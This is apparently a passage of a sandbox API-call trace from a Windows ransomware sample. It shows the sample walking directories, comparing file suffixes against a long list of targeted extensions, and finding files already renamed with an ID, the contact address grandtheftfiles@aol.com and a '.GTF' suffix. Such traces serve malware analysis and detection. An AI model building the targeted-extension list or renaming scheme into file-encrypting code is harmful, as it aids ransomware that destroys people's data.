	[0067.742] lstrcmpiW (lpString1=".dc3", lpString2=".GTF") returned -1
	[0067.742] lstrlenW (lpString=".dcm") returned 4
	[0067.742] lstrcmpiW (lpString1=".dcm", lpString2=".GTF") returned -1
	[0067.742] lstrlenW (lpString=".dcr") returned 4
	[0067.742] lstrcmpiW (lpString1=".dcr", lpString2=".GTF") returned -1
	[0067.742] lstrlenW (lpString=".der") returned 4
	[0067.742] lstrcmpiW (lpString1=".der", lpString2=".GTF") returned -1
	[0067.742] lstrlenW (lpString=".dib") returned 4
	[0067.742] lstrcmpiW (lpString1=".dib", lpString2=".GTF") returned -1
	[0067.742] lstrlenW (lpString=".dic") returned 4
	[0067.742] lstrcmpiW (lpString1=".dic", lpString2=".GTF") returned -1
	[0067.742] lstrlenW (lpString=".dif") returned 4
	[0067.743] lstrcmpiW (lpString1=".dif", lpString2=".GTF") returned -1
	[0067.743] lstrlenW (lpString=".divx") returned 5
	[0067.743] lstrcmpiW (lpString1=".divx", lpString2="].GTF") returned -1
	[0067.743] lstrlenW (lpString=".djvu") returned 5
	[0067.743] lstrcmpiW (lpString1=".djvu", lpString2="].GTF") returned -1
	[0067.743] lstrlenW (lpString=".dng") returned 4
	[0067.743] lstrcmpiW (lpString1=".dng", lpString2=".GTF") returned -1
	[0067.743] lstrlenW (lpString=".doc") returned 4
	[0067.743] lstrcmpiW (lpString1=".doc", lpString2=".GTF") returned -1
	[0067.743] lstrlenW (lpString=".docm") returned 5
	[0067.743] lstrcmpiW (lpString1=".docm", lpString2="].GTF") returned -1
	[0067.743] lstrlenW (lpString=".docx") returned 5
	[0067.743] lstrcmpiW (lpString1=".docx", lpString2="].GTF") returned -1
	[0067.743] lstrlenW (lpString=".dot") returned 4
	[0067.743] lstrcmpiW (lpString1=".dot", lpString2=".GTF") returned -1
	[0067.743] lstrlenW (lpString=".dotm") returned 5
	[0067.743] lstrcmpiW (lpString1=".dotm", lpString2="].GTF") returned -1
	[0067.743] lstrlenW (lpString=".dotx") returned 5
	[0067.743] lstrcmpiW (lpString1=".dotx", lpString2="].GTF") returned -1
	[0067.743] lstrlenW (lpString=".dpx") returned 4
	[0067.743] lstrcmpiW (lpString1=".dpx", lpString2=".GTF") returned -1
	[0067.743] lstrlenW (lpString=".dqy") returned 4
	[0067.743] lstrcmpiW (lpString1=".dqy", lpString2=".GTF") returned -1
	[0067.743] lstrlenW (lpString=".dsn") returned 4
	[0067.743] lstrcmpiW (lpString1=".dsn", lpString2=".GTF") returned -1
	[0067.743] lstrlenW (lpString=".dt") returned 3
	[0067.743] lstrcmpiW (lpString1=".dt", lpString2="GTF") returned -1
	[0067.743] lstrlenW (lpString=".dtd") returned 4
	[0067.743] lstrcmpiW (lpString1=".dtd", lpString2=".GTF") returned -1
	[0067.743] lstrlenW (lpString=".dwg") returned 4
	[0067.743] lstrcmpiW (lpString1=".dwg", lpString2=".GTF") returned -1
	[0067.743] lstrlenW (lpString=".dwt") returned 4
	[0067.743] lstrcmpiW (lpString1=".dwt", lpString2=".GTF") returned -1
	[0067.743] lstrlenW (lpString=".dx") returned 3
	[0067.743] lstrcmpiW (lpString1=".dx", lpString2="GTF") returned -1
	[0067.743] lstrlenW (lpString=".dxf") returned 4
	[0067.743] lstrcmpiW (lpString1=".dxf", lpString2=".GTF") returned -1
	[0067.743] lstrlenW (lpString=".edml") returned 5
	[0067.744] lstrcmpiW (lpString1=".edml", lpString2="].GTF") returned -1
	[0067.744] lstrlenW (lpString=".efd") returned 4
	[0067.744] lstrcmpiW (lpString1=".efd", lpString2=".GTF") returned -1
	[0067.744] lstrlenW (lpString=".elf") returned 4
	[0067.744] lstrcmpiW (lpString1=".elf", lpString2=".GTF") returned -1
	[0067.744] lstrlenW (lpString=".emf") returned 4
	[0067.744] lstrcmpiW (lpString1=".emf", lpString2=".GTF") returned -1
	[0067.744] lstrlenW (lpString=".emz") returned 4
	[0067.744] lstrcmpiW (lpString1=".emz", lpString2=".GTF") returned -1
	[0067.744] lstrlenW (lpString=".epf") returned 4
	[0067.744] lstrcmpiW (lpString1=".epf", lpString2=".GTF") returned -1
	[0067.744] lstrlenW (lpString=".eps") returned 4
	[0067.744] lstrcmpiW (lpString1=".eps", lpString2=".GTF") returned -1
	[0067.744] lstrlenW (lpString=".epsf") returned 5
	[0067.744] lstrcmpiW (lpString1=".epsf", lpString2="].GTF") returned -1
	[0067.744] lstrlenW (lpString=".epsp") returned 5
	[0067.744] lstrcmpiW (lpString1=".epsp", lpString2="].GTF") returned -1
	[0067.744] lstrlenW (lpString=".erf") returned 4
	[0067.744] lstrcmpiW (lpString1=".erf", lpString2=".GTF") returned -1
	[0067.744] lstrlenW (lpString=".exr") returned 4
	[0067.744] lstrcmpiW (lpString1=".exr", lpString2=".GTF") returned -1
	[0067.744] lstrlenW (lpString=".f4v") returned 4
	[0067.744] lstrcmpiW (lpString1=".f4v", lpString2=".GTF") returned -1
	[0067.744] lstrlenW (lpString=".fido") returned 5
	[0067.744] lstrcmpiW (lpString1=".fido", lpString2="].GTF") returned -1
	[0067.744] lstrlenW (lpString=".flm") returned 4
	[0067.744] lstrcmpiW (lpString1=".flm", lpString2=".GTF") returned -1
	[0067.744] lstrlenW (lpString=".flv") returned 4
	[0067.744] lstrcmpiW (lpString1=".flv", lpString2=".GTF") returned -1
	[0067.744] lstrlenW (lpString=".frm") returned 4
	[0067.744] lstrcmpiW (lpString1=".frm", lpString2=".GTF") returned -1
	[0067.744] lstrlenW (lpString=".fxg") returned 4
	[0067.744] lstrcmpiW (lpString1=".fxg", lpString2=".GTF") returned -1
	[0067.744] lstrlenW (lpString=".geo") returned 4
	[0067.744] lstrcmpiW (lpString1=".geo", lpString2=".GTF") returned -1
	[0067.744] lstrlenW (lpString=".gif") returned 4
	[0067.744] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0067.744] lstrlenW (lpString=".grs") returned 4
	[0067.745] lstrcmpiW (lpString1=".grs", lpString2=".GTF") returned -1
	[0067.745] lstrlenW (lpString=".gz") returned 3
	[0067.745] lstrcmpiW (lpString1=".gz", lpString2="GTF") returned -1
	[0067.745] lstrlenW (lpString=".h") returned 2
	[0067.745] lstrcmpiW (lpString1=".h", lpString2="TF") returned -1
	[0067.745] lstrlenW (lpString=".hdr") returned 4
	[0067.745] lstrcmpiW (lpString1=".hdr", lpString2=".GTF") returned 1
	[0067.745] lstrlenW (lpString=".hpp") returned 4
	[0067.745] lstrcmpiW (lpString1=".hpp", lpString2=".GTF") returned 1
	[0067.745] lstrlenW (lpString=".hta") returned 4
	[0067.745] lstrcmpiW (lpString1=".hta", lpString2=".GTF") returned 1
	[0067.745] lstrlenW (lpString=".htc") returned 4
	[0067.745] lstrcmpiW (lpString1=".htc", lpString2=".GTF") returned 1
	[0067.745] lstrlenW (lpString=".htm") returned 4
	[0067.745] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0067.745] lstrlenW (lpString=".html") returned 5
	[0067.745] lstrcmpiW (lpString1=".html", lpString2="].GTF") returned -1
	[0067.745] lstrlenW (lpString=".icb") returned 4
	[0067.745] lstrcmpiW (lpString1=".icb", lpString2=".GTF") returned 1
	[0067.745] lstrlenW (lpString=".ics") returned 4
	[0067.745] lstrcmpiW (lpString1=".ics", lpString2=".GTF") returned 1
	[0067.745] lstrlenW (lpString=".iff") returned 4
	[0067.745] lstrcmpiW (lpString1=".iff", lpString2=".GTF") returned 1
	[0067.745] lstrlenW (lpString=".inc") returned 4
	[0067.745] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0067.745] lstrlenW (lpString=".indd") returned 5
	[0067.745] lstrcmpiW (lpString1=".indd", lpString2="].GTF") returned -1
	[0067.745] lstrlenW (lpString=".ini") returned 4
	[0067.745] lstrcmpiW (lpString1=".ini", lpString2=".GTF") returned 1
	[0067.745] lstrlenW (lpString=".iqy") returned 4
	[0067.745] lstrcmpiW (lpString1=".iqy", lpString2=".GTF") returned 1
	[0067.745] lstrlenW (lpString=".j2c") returned 4
	[0067.745] lstrcmpiW (lpString1=".j2c", lpString2=".GTF") returned 1
	[0067.745] lstrlenW (lpString=".j2k") returned 4
	[0067.745] lstrcmpiW (lpString1=".j2k", lpString2=".GTF") returned 1
	[0067.745] lstrlenW (lpString=".java") returned 5
	[0067.745] lstrcmpiW (lpString1=".java", lpString2="].GTF") returned -1
	[0067.745] lstrlenW (lpString=".jp2") returned 4
	[0067.745] lstrcmpiW (lpString1=".jp2", lpString2=".GTF") returned 1
	[0067.746] lstrlenW (lpString=".jpc") returned 4
	[0067.746] lstrcmpiW (lpString1=".jpc", lpString2=".GTF") returned 1
	[0067.746] lstrlenW (lpString=".jpe") returned 4
	[0067.746] lstrcmpiW (lpString1=".jpe", lpString2=".GTF") returned 1
	[0067.746] lstrlenW (lpString=".jpeg") returned 5
	[0067.746] lstrcmpiW (lpString1=".jpeg", lpString2="].GTF") returned -1
	[0067.746] lstrlenW (lpString=".jpf") returned 4
	[0067.746] lstrcmpiW (lpString1=".jpf", lpString2=".GTF") returned 1
	[0067.746] lstrlenW (lpString=".jpg") returned 4
	[0067.746] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0067.746] lstrlenW (lpString=".jpx") returned 4
	[0067.746] lstrcmpiW (lpString1=".jpx", lpString2=".GTF") returned 1
	[0067.746] lstrlenW (lpString=".js") returned 3
	[0067.746] lstrcmpiW (lpString1=".js", lpString2="GTF") returned -1
	[0067.746] lstrlenW (lpString=".jsf") returned 4
	[0067.746] lstrcmpiW (lpString1=".jsf", lpString2=".GTF") returned 1
	[0067.746] lstrlenW (lpString=".json") returned 5
	[0067.746] lstrcmpiW (lpString1=".json", lpString2="].GTF") returned -1
	[0067.746] lstrlenW (lpString=".jsp") returned 4
	[0067.746] lstrcmpiW (lpString1=".jsp", lpString2=".GTF") returned 1
	[0067.746] lstrlenW (lpString=".kdc") returned 4
	[0067.746] lstrcmpiW (lpString1=".kdc", lpString2=".GTF") returned 1
	[0067.746] lstrlenW (lpString=".kmz") returned 4
	[0067.746] lstrcmpiW (lpString1=".kmz", lpString2=".GTF") returned 1
	[0067.746] lstrlenW (lpString=".kwm") returned 4
	[0067.746] lstrcmpiW (lpString1=".kwm", lpString2=".GTF") returned 1
	[0067.746] lstrlenW (lpString=".lasso") returned 6
	[0067.746] lstrcmpiW (lpString1=".lasso", lpString2="m].GTF") returned -1
	[0067.746] lstrlenW (lpString=".lbi") returned 4
	[0067.746] lstrcmpiW (lpString1=".lbi", lpString2=".GTF") returned 1
	[0067.746] lstrlenW (lpString=".lgf") returned 4
	[0067.746] lstrcmpiW (lpString1=".lgf", lpString2=".GTF") returned 1
	[0067.746] lstrlenW (lpString=".lgp") returned 4
	[0067.746] lstrcmpiW (lpString1=".lgp", lpString2=".GTF") returned 1
	[0067.746] lstrlenW (lpString=".log") returned 4
	[0067.746] lstrcmpiW (lpString1=".log", lpString2=".GTF") returned 1
	[0067.746] lstrlenW (lpString=".m1v") returned 4
	[0067.746] lstrcmpiW (lpString1=".m1v", lpString2=".GTF") returned 1
	[0067.747] lstrlenW (lpString=".m4a") returned 4
	[0067.747] lstrcmpiW (lpString1=".m4a", lpString2=".GTF") returned 1
	[0067.747] lstrlenW (lpString=".m4v") returned 4
	[0067.747] lstrcmpiW (lpString1=".m4v", lpString2=".GTF") returned 1
	[0067.747] lstrlenW (lpString=".max") returned 4
	[0067.747] lstrcmpiW (lpString1=".max", lpString2=".GTF") returned 1
	[0067.747] lstrlenW (lpString=".md") returned 3
	[0067.747] lstrcmpiW (lpString1=".md", lpString2="GTF") returned -1
	[0067.747] lstrlenW (lpString=".mda") returned 4
	[0067.747] lstrcmpiW (lpString1=".mda", lpString2=".GTF") returned 1
	[0067.747] lstrlenW (lpString=".mdb") returned 4
	[0067.747] lstrcmpiW (lpString1=".mdb", lpString2=".GTF") returned 1
	[0067.747] lstrlenW (lpString=".mde") returned 4
	[0067.747] lstrcmpiW (lpString1=".mde", lpString2=".GTF") returned 1
	[0067.747] lstrlenW (lpString=".mdf") returned 4
	[0067.747] lstrcmpiW (lpString1=".mdf", lpString2=".GTF") returned 1
	[0067.747] lstrlenW (lpString=".mdw") returned 4
	[0067.747] lstrcmpiW (lpString1=".mdw", lpString2=".GTF") returned 1
	[0067.747] lstrlenW (lpString=".mef") returned 4
	[0067.747] lstrcmpiW (lpString1=".mef", lpString2=".GTF") returned 1
	[0067.747] lstrlenW (lpString=".mft") returned 4
	[0067.747] lstrcmpiW (lpString1=".mft", lpString2=".GTF") returned 1
	[0067.747] lstrlenW (lpString=".mfw") returned 4
	[0067.747] lstrcmpiW (lpString1=".mfw", lpString2=".GTF") returned 1
	[0067.747] lstrlenW (lpString=".mht") returned 4
	[0067.747] lstrcmpiW (lpString1=".mht", lpString2=".GTF") returned 1
	[0067.747] lstrlenW (lpString=".mhtml") returned 6
	[0067.747] lstrcmpiW (lpString1=".mhtml", lpString2="m].GTF") returned -1
	[0067.747] lstrlenW (lpString=".mka") returned 4
	[0067.747] lstrcmpiW (lpString1=".mka", lpString2=".GTF") returned 1
	[0067.747] lstrlenW (lpString=".mkidx") returned 6
	[0067.747] lstrcmpiW (lpString1=".mkidx", lpString2="m].GTF") returned -1
	[0067.747] lstrlenW (lpString=".mkv") returned 4
	[0067.747] lstrcmpiW (lpString1=".mkv", lpString2=".GTF") returned 1
	[0067.747] lstrlenW (lpString=".mos") returned 4
	[0067.747] lstrcmpiW (lpString1=".mos", lpString2=".GTF") returned 1
	[0067.747] lstrlenW (lpString=".mov") returned 4
	[0067.747] lstrcmpiW (lpString1=".mov", lpString2=".GTF") returned 1
	[0067.748] lstrlenW (lpString=".mp3") returned 4
	[0067.748] lstrcmpiW (lpString1=".mp3", lpString2=".GTF") returned 1
	[0067.748] lstrlenW (lpString=".mp4") returned 4
	[0067.748] lstrcmpiW (lpString1=".mp4", lpString2=".GTF") returned 1
	[0067.748] lstrlenW (lpString=".mpeg") returned 5
	[0067.748] lstrcmpiW (lpString1=".mpeg", lpString2="].GTF") returned -1
	[0067.748] lstrlenW (lpString=".mpg") returned 4
	[0067.748] lstrcmpiW (lpString1=".mpg", lpString2=".GTF") returned 1
	[0067.748] lstrlenW (lpString=".mpv") returned 4
	[0067.748] lstrcmpiW (lpString1=".mpv", lpString2=".GTF") returned 1
	[0067.748] lstrlenW (lpString=".mrw") returned 4
	[0067.748] lstrcmpiW (lpString1=".mrw", lpString2=".GTF") returned 1
	[0067.748] lstrlenW (lpString=".msg") returned 4
	[0067.748] lstrcmpiW (lpString1=".msg", lpString2=".GTF") returned 1
	[0067.748] lstrlenW (lpString=".mxl") returned 4
	[0067.748] lstrcmpiW (lpString1=".mxl", lpString2=".GTF") returned 1
	[0067.748] lstrlenW (lpString=".myd") returned 4
	[0067.748] lstrcmpiW (lpString1=".myd", lpString2=".GTF") returned 1
	[0067.748] lstrlenW (lpString=".myi") returned 4
	[0067.748] lstrcmpiW (lpString1=".myi", lpString2=".GTF") returned 1
	[0067.748] lstrlenW (lpString=".nef") returned 4
	[0067.748] lstrcmpiW (lpString1=".nef", lpString2=".GTF") returned 1
	[0067.748] lstrlenW (lpString=".nrw") returned 4
	[0067.748] lstrcmpiW (lpString1=".nrw", lpString2=".GTF") returned 1
	[0067.748] lstrlenW (lpString=".obj") returned 4
	[0067.748] lstrcmpiW (lpString1=".obj", lpString2=".GTF") returned 1
	[0067.748] lstrlenW (lpString=".odb") returned 4
	[0067.748] lstrcmpiW (lpString1=".odb", lpString2=".GTF") returned 1
	[0067.748] lstrlenW (lpString=".odc") returned 4
	[0067.748] lstrcmpiW (lpString1=".odc", lpString2=".GTF") returned 1
	[0067.748] lstrlenW (lpString=".odm") returned 4
	[0067.748] lstrcmpiW (lpString1=".odm", lpString2=".GTF") returned 1
	[0067.748] lstrlenW (lpString=".odp") returned 4
	[0067.748] lstrcmpiW (lpString1=".odp", lpString2=".GTF") returned 1
	[0067.748] lstrlenW (lpString=".ods") returned 4
	[0067.748] lstrcmpiW (lpString1=".ods", lpString2=".GTF") returned 1
	[0067.748] lstrlenW (lpString=".oft") returned 4
	[0067.748] lstrcmpiW (lpString1=".oft", lpString2=".GTF") returned 1
	[0067.749] lstrlenW (lpString=".one") returned 4
	[0067.749] lstrcmpiW (lpString1=".one", lpString2=".GTF") returned 1
	[0067.749] lstrlenW (lpString=".onepkg") returned 7
	[0067.749] lstrcmpiW (lpString1=".onepkg", lpString2="om].GTF") returned -1
	[0067.749] lstrlenW (lpString=".onetoc2") returned 8
	[0067.749] lstrcmpiW (lpString1=".onetoc2", lpString2="com].GTF") returned -1
	[0067.749] lstrlenW (lpString=".opt") returned 4
	[0067.749] lstrcmpiW (lpString1=".opt", lpString2=".GTF") returned 1
	[0067.749] lstrlenW (lpString=".oqy") returned 4
	[0067.749] lstrcmpiW (lpString1=".oqy", lpString2=".GTF") returned 1
	[0067.749] lstrlenW (lpString=".orf") returned 4
	[0067.749] lstrcmpiW (lpString1=".orf", lpString2=".GTF") returned 1
	[0067.749] lstrlenW (lpString=".p12") returned 4
	[0067.749] lstrcmpiW (lpString1=".p12", lpString2=".GTF") returned 1
	[0067.749] lstrlenW (lpString=".p7b") returned 4
	[0067.749] lstrcmpiW (lpString1=".p7b", lpString2=".GTF") returned 1
	[0067.749] lstrlenW (lpString=".p7c") returned 4
	[0067.749] lstrcmpiW (lpString1=".p7c", lpString2=".GTF") returned 1
	[0067.749] lstrlenW (lpString=".pam") returned 4
	[0067.749] lstrcmpiW (lpString1=".pam", lpString2=".GTF") returned 1
	[0067.749] lstrlenW (lpString=".pbm") returned 4
	[0067.749] lstrcmpiW (lpString1=".pbm", lpString2=".GTF") returned 1
	[0067.749] lstrlenW (lpString=".pct") returned 4
	[0067.749] lstrcmpiW (lpString1=".pct", lpString2=".GTF") returned 1
	[0067.749] lstrlenW (lpString=".pcx") returned 4
	[0067.749] lstrcmpiW (lpString1=".pcx", lpString2=".GTF") returned 1
	[0067.749] lstrlenW (lpString=".pdd") returned 4
	[0067.749] lstrcmpiW (lpString1=".pdd", lpString2=".GTF") returned 1
	[0067.749] lstrlenW (lpString=".pdf") returned 4
	[0067.749] lstrcmpiW (lpString1=".pdf", lpString2=".GTF") returned 1
	[0067.749] lstrlenW (lpString=".pdp") returned 4
	[0067.749] lstrcmpiW (lpString1=".pdp", lpString2=".GTF") returned 1
	[0067.749] lstrlenW (lpString=".pef") returned 4
	[0067.749] lstrcmpiW (lpString1=".pef", lpString2=".GTF") returned 1
	[0067.749] lstrlenW (lpString=".pem") returned 4
	[0067.749] lstrcmpiW (lpString1=".pem", lpString2=".GTF") returned 1
	[0067.749] lstrlenW (lpString=".pff") returned 4
	[0067.749] lstrcmpiW (lpString1=".pff", lpString2=".GTF") returned 1
	[0067.750] lstrlenW (lpString=".pfm") returned 4
	[0067.750] lstrcmpiW (lpString1=".pfm", lpString2=".GTF") returned 1
	[0067.750] lstrlenW (lpString=".pfx") returned 4
	[0067.750] lstrcmpiW (lpString1=".pfx", lpString2=".GTF") returned 1
	[0067.750] lstrlenW (lpString=".pgm") returned 4
	[0067.750] lstrcmpiW (lpString1=".pgm", lpString2=".GTF") returned 1
	[0067.750] lstrlenW (lpString=".php") returned 4
	[0067.750] lstrcmpiW (lpString1=".php", lpString2=".GTF") returned 1
	[0067.750] lstrlenW (lpString=".php3") returned 5
	[0067.750] lstrcmpiW (lpString1=".php3", lpString2="].GTF") returned -1
	[0067.750] lstrlenW (lpString=".php4") returned 5
	[0067.750] lstrcmpiW (lpString1=".php4", lpString2="].GTF") returned -1
	[0067.750] lstrlenW (lpString=".php5") returned 5
	[0067.750] lstrcmpiW (lpString1=".php5", lpString2="].GTF") returned -1
	[0067.750] lstrlenW (lpString=".phtml") returned 6
	[0067.750] lstrcmpiW (lpString1=".phtml", lpString2="m].GTF") returned -1
	[0067.750] lstrlenW (lpString=".pict") returned 5
	[0067.750] lstrcmpiW (lpString1=".pict", lpString2="].GTF") returned -1
	[0067.750] lstrlenW (lpString=".pl") returned 3
	[0067.750] lstrcmpiW (lpString1=".pl", lpString2="GTF") returned -1
	[0067.750] lstrlenW (lpString=".pls") returned 4
	[0067.750] lstrcmpiW (lpString1=".pls", lpString2=".GTF") returned 1
	[0067.750] lstrlenW (lpString=".pm") returned 3
	[0067.750] lstrcmpiW (lpString1=".pm", lpString2="GTF") returned -1
	[0067.750] lstrlenW (lpString=".png") returned 4
	[0067.750] lstrcmpiW (lpString1=".png", lpString2=".GTF") returned 1
	[0067.750] lstrlenW (lpString=".pnm") returned 4
	[0067.750] lstrcmpiW (lpString1=".pnm", lpString2=".GTF") returned 1
	[0067.750] lstrlenW (lpString=".pot") returned 4
	[0067.750] lstrcmpiW (lpString1=".pot", lpString2=".GTF") returned 1
	[0067.750] lstrlenW (lpString=".potm") returned 5
	[0067.750] lstrcmpiW (lpString1=".potm", lpString2="].GTF") returned -1
	[0067.750] lstrlenW (lpString=".potx") returned 5
	[0067.750] lstrcmpiW (lpString1=".potx", lpString2="].GTF") returned -1
	[0067.750] lstrlenW (lpString=".ppa") returned 4
	[0067.750] lstrcmpiW (lpString1=".ppa", lpString2=".GTF") returned 1
	[0067.750] lstrlenW (lpString=".ppam") returned 5
	[0067.750] lstrcmpiW (lpString1=".ppam", lpString2="].GTF") returned -1
	[0067.751] lstrlenW (lpString=".ppm") returned 4
	[0067.751] lstrcmpiW (lpString1=".ppm", lpString2=".GTF") returned 1
	[0067.751] lstrlenW (lpString=".pps") returned 4
	[0067.751] lstrcmpiW (lpString1=".pps", lpString2=".GTF") returned 1
	[0067.751] lstrlenW (lpString=".ppsm") returned 5
	[0067.751] lstrcmpiW (lpString1=".ppsm", lpString2="].GTF") returned -1
	[0067.751] lstrlenW (lpString=".ppt") returned 4
	[0067.751] lstrcmpiW (lpString1=".ppt", lpString2=".GTF") returned 1
	[0067.751] lstrlenW (lpString=".pptm") returned 5
	[0067.751] lstrcmpiW (lpString1=".pptm", lpString2="].GTF") returned -1
	[0067.751] lstrlenW (lpString=".pptx") returned 5
	[0067.751] lstrcmpiW (lpString1=".pptx", lpString2="].GTF") returned -1
	[0067.751] lstrlenW (lpString=".prn") returned 4
	[0067.751] lstrcmpiW (lpString1=".prn", lpString2=".GTF") returned 1
	[0067.751] lstrlenW (lpString=".ps") returned 3
	[0067.751] lstrcmpiW (lpString1=".ps", lpString2="GTF") returned -1
	[0067.751] lstrlenW (lpString=".psb") returned 4
	[0067.751] lstrcmpiW (lpString1=".psb", lpString2=".GTF") returned 1
	[0067.751] lstrlenW (lpString=".psd") returned 4
	[0067.751] lstrcmpiW (lpString1=".psd", lpString2=".GTF") returned 1
	[0067.751] lstrlenW (lpString=".pst") returned 4
	[0067.751] lstrcmpiW (lpString1=".pst", lpString2=".GTF") returned 1
	[0067.751] lstrlenW (lpString=".ptx") returned 4
	[0067.751] lstrcmpiW (lpString1=".ptx", lpString2=".GTF") returned 1
	[0067.751] lstrlenW (lpString=".pub") returned 4
	[0067.751] lstrcmpiW (lpString1=".pub", lpString2=".GTF") returned 1
	[0067.751] lstrlenW (lpString=".pwm") returned 4
	[0067.751] lstrcmpiW (lpString1=".pwm", lpString2=".GTF") returned 1
	[0067.751] lstrlenW (lpString=".pxr") returned 4
	[0067.751] lstrcmpiW (lpString1=".pxr", lpString2=".GTF") returned 1
	[0067.751] lstrlenW (lpString=".py") returned 3
	[0067.751] lstrcmpiW (lpString1=".py", lpString2="GTF") returned -1
	[0067.751] lstrlenW (lpString=".qt") returned 3
	[0067.751] lstrcmpiW (lpString1=".qt", lpString2="GTF") returned -1
	[0067.751] lstrlenW (lpString=".r3d") returned 4
	[0067.751] lstrcmpiW (lpString1=".r3d", lpString2=".GTF") returned 1
	[0067.751] lstrlenW (lpString=".raf") returned 4
	[0067.751] lstrcmpiW (lpString1=".raf", lpString2=".GTF") returned 1
	[0067.752] lstrlenW (lpString=".rar") returned 4
	[0067.752] lstrcmpiW (lpString1=".rar", lpString2=".GTF") returned 1
	[0067.752] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9eeb7d84, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9eeb7d84, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f9e4aab, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0067.752] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0067.752] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0067.752] FindClose (in: hFindFile=0x811fc8 | out: hFindFile=0x811fc8) returned 1
	[0067.752] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0067.752] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1
	[0067.752] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0067.752] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038") returned 26
	[0067.752] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f1664af, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8119c8
	[0067.753] FindNextFileW (in: hFindFile=0x8119c8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f1664af, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.753] FindNextFileW (in: hFindFile=0x8119c8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9edaca42, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9edaca42, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1405cf, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0067.753] lstrlenW (lpString="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF") returned 50
	[0067.753] lstrlenW (lpString=".1cd") returned 4
	[0067.753] lstrcmpiW (lpString1=".1cd", lpString2=".GTF") returned -1
	[0067.753] lstrlenW (lpString=".3ds") returned 4
	[0067.753] lstrcmpiW (lpString1=".3ds", lpString2=".GTF") returned -1
	[0067.753] lstrlenW (lpString=".3fr") returned 4
	[0067.753] lstrcmpiW (lpString1=".3fr", lpString2=".GTF") returned -1
	[0067.753] lstrlenW (lpString=".3g2") returned 4
	[0067.753] lstrcmpiW (lpString1=".3g2", lpString2=".GTF") returned -1
